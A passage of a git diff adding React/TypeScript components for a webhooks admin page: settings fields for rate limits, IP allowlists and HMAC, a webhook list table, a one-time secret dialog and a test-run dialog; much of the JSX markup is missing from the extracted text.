+ + setRateLimit(e.target.value)} + className="text-base md:text-sm" + /> +
+ +
+ + setIpAllowlist(e.target.value)} + placeholder={t("form.ipAllowlistPlaceholder")} + className="text-base md:text-sm" + /> +

{t("form.ipAllowlistHint")}

+
+ +
+
+ +

{t("form.requireHmacHint")}

+
+ +
+ +
+
+ +

+ {isStandard ? t("form.localhostOnlyHint") : t("form.localhostOnlyLite")} +

+
+ +
+
+ ); +} diff --git a/ui/web/src/pages/webhooks/webhook-list-table.tsx b/ui/web/src/pages/webhooks/webhook-list-table.tsx new file mode 100644 index 00000000..f4326bb1 --- /dev/null +++ b/ui/web/src/pages/webhooks/webhook-list-table.tsx @@ -0,0 +1,151 @@ +import { useTranslation } from "react-i18next"; +import { + Ban, + Bot, + Check, + Copy, + History, + KeyRound, + Pencil, + Play, + Radio, + Webhook as WebhookIcon, +} from "lucide-react"; +import { Badge } from "@/components/ui/badge"; +import { Button } from "@/components/ui/button"; +import { formatRelativeTime } from "@/lib/format"; +import type { WebhookData } from "@/types/webhook"; + +interface Props { + webhooks: WebhookData[]; + copiedId: string | null; + onCopyId: (id: string) => void; + agentName: (id?: string) => string; + channelName: (id?: string) => string; + onTest: (webhook: WebhookData) => void; + onCalls: (webhook: WebhookData) => void; + onEdit: (webhook: WebhookData) => void; + onRotate: (webhook: WebhookData) => void; + onRevoke: (webhook: WebhookData) => void; +} + +export function WebhookListTable({ + webhooks, + copiedId, + onCopyId, + agentName, + channelName, + onTest, + onCalls, + onEdit, + onRotate, + onRevoke, +}: Props) { + const { t } = useTranslation("webhooks"); + + return ( +
+ + + + + + + + + + + + + + {webhooks.map((w) => ( + + + + + + + + + + ))} + +
{t("columns.name")}{t("columns.webhookId")}{t("columns.kind")}{t("columns.target")}{t("columns.status")}{t("columns.lastUsed")}{t("columns.actions")}
+
+ +
+
{w.name}
+ {w.secret_prefix}... +
+
+ 		+
+ + {w.id.slice(0, 8)}... + + +
+ 		+ {t(`kind.${w.kind}`)} + + {w.kind === "llm" && w.agent_id && ( + + + {agentName(w.agent_id)} + + )} + {w.kind === "message" && w.channel_id && ( + + + {channelName(w.channel_id)} + + )} + {!w.agent_id && !w.channel_id && "-"} + + {w.revoked ? ( + {t("status.revoked")} + ) : ( + {t("status.active")} + )} + + {w.last_used_at ? formatRelativeTime(w.last_used_at) : t("neverUsed")} + +
+ {!w.revoked && (w.kind === "llm" || w.kind === "message") && ( + + )} + + {!w.revoked && ( + <> + + + + + )} +
+
+
+ ); +} diff --git a/ui/web/src/pages/webhooks/webhook-secret-dialog.tsx b/ui/web/src/pages/webhooks/webhook-secret-dialog.tsx new file mode 100644 index 00000000..5bdbf914 --- /dev/null +++ b/ui/web/src/pages/webhooks/webhook-secret-dialog.tsx @@ -0,0 +1,79 @@ +import { useState } from "react"; +import { useTranslation } from "react-i18next"; +import { Copy, Check, ShieldAlert } from "lucide-react"; +import { + Dialog, + DialogContent, + DialogHeader, + DialogTitle, + DialogDescription, + DialogFooter, +} from "@/components/ui/dialog"; +import { Button } from "@/components/ui/button"; +import { Label } from "@/components/ui/label"; + +export interface WebhookSecretPayload { + webhookId: string; + secret: string; + hmacSigningKey: string; +} + +interface Props { + payload: WebhookSecretPayload | null; + onClose: () => void; +} + +export function WebhookSecretDialog({ payload, onClose }: Props) { + const { t } = useTranslation("webhooks"); + const [copiedKey, setCopiedKey] = useState(null); + + const copy = async (value: string, field: string) => { + await navigator.clipboard.writeText(value); + setCopiedKey(field); + setTimeout(() => setCopiedKey((k) => (k === field ? null : k)), 2000); + }; + + const Row = ({ label, value, field }: { label: string; value: string; field: string }) => ( +
+ +
+ + {value} + + +
+
+ ); + + return ( + !open && onClose()}> + + + {t("secret.title")} + {t("secret.description")} + + +
+ + {t("secret.warning")} +
+ + {payload && ( +
+ + + +

{t("secret.usageHint")}

+
+ )} + + + + + + + ); +} diff --git a/ui/web/src/pages/webhooks/webhook-test-dialog.tsx b/ui/web/src/pages/webhooks/webhook-test-dialog.tsx new file mode 100644 index 00000000..6a7a662f --- /dev/null +++ b/ui/web/src/pages/webhooks/webhook-test-dialog.tsx @@ -0,0 +1,194 @@ +import { useEffect, useState } from "react"; +import { useTranslation } from "react-i18next"; +import { Play, AlertTriangle } from "lucide-react"; +import { + Dialog, + DialogContent, + DialogHeader, + DialogTitle, + DialogDescription, + DialogFooter, +} from "@/components/ui/dialog"; +import { Button } from "@/components/ui/button"; +import { Input } from "@/components/ui/input"; +import { Textarea } from "@/components/ui/textarea"; +import { Label } from "@/components/ui/label"; +import { toast } from "@/stores/use-toast-store"; +import type { + WebhookData, + WebhookTestInput, + WebhookTestResult, + WebhookTestLLMResult, + WebhookTestMessageResult, +} from "@/types/webhook"; + +interface Props { + webhook: WebhookData | null; + onClose: () => void; + onRun: (id: string, body: WebhookTestInput) => Promise; +} + +function isLLMResult(r: WebhookTestResult): r is WebhookTestLLMResult { + return "output" in r; +} + +export function WebhookTestDialog({ webhook, onClose, onRun }: Props) { + const { t } = useTranslation("webhooks"); + const [input, setInput] = useState(""); + const [channelName, setChannelName] = useState(""); + const [chatId, setChatId] = useState(""); + const [content, setContent] = useState(""); + const [running, setRunning] = useState(false); + const [result, setResult] = useState(null); + const [error, setError] = useState(null); + + useEffect(() => { + if (webhook) { + setInput(""); + setChannelName(""); + setChatId(""); + setContent(""); + setResult(null); + setError(null); + } + }, [webhook]); + + const isMessage = webhook?.kind === "message"; + const hasBoundChannel = !!webhook?.channel_id; + + const handleRun = async () => { + if (!webhook) return; + setRunning(true); + setResult(null); + setError(null); + try { + const body: WebhookTestInput = isMessage + ? { + channel_name: hasBoundChannel ? undefined : channelName.trim(), + chat_id: chatId.trim(), + content: content.trim(), + } + : { input: input.trim() }; + const res = await onRun(webhook.id, body); + setResult(res); + } catch (err) { + const msg = err instanceof Error ? err.message : t("test.failed"); + setError(msg); + toast.error(t("test.failed"), msg); + } finally { + setRunning(false); + } + }; + + const canRun = isMessage + ? chatId.trim() !== "" && content.trim() !== "" && (hasBoundChannel || channelName.trim() !== "") + : input.trim() !== ""; + + return ( + !open && onClose()}> + + + {t("test.title", { name: webhook?.name ?? "" })} + {t("test.description")} + + + {isMessage && ( +
+ + {t("test.messageWarning")} +
+ )} + +
+ {isMessage ? ( + <> + {!hasBoundChannel && ( +
+ + setChannelName(e.target.value)} + placeholder={t("test.channelNamePlaceholder")} + className="text-base md:text-sm" + /> +
+ )} +
+ + setChatId(e.target.value)} + placeholder={t("test.chatIdPlaceholder")} + className="text-base md:text-sm" + /> +
+
+ +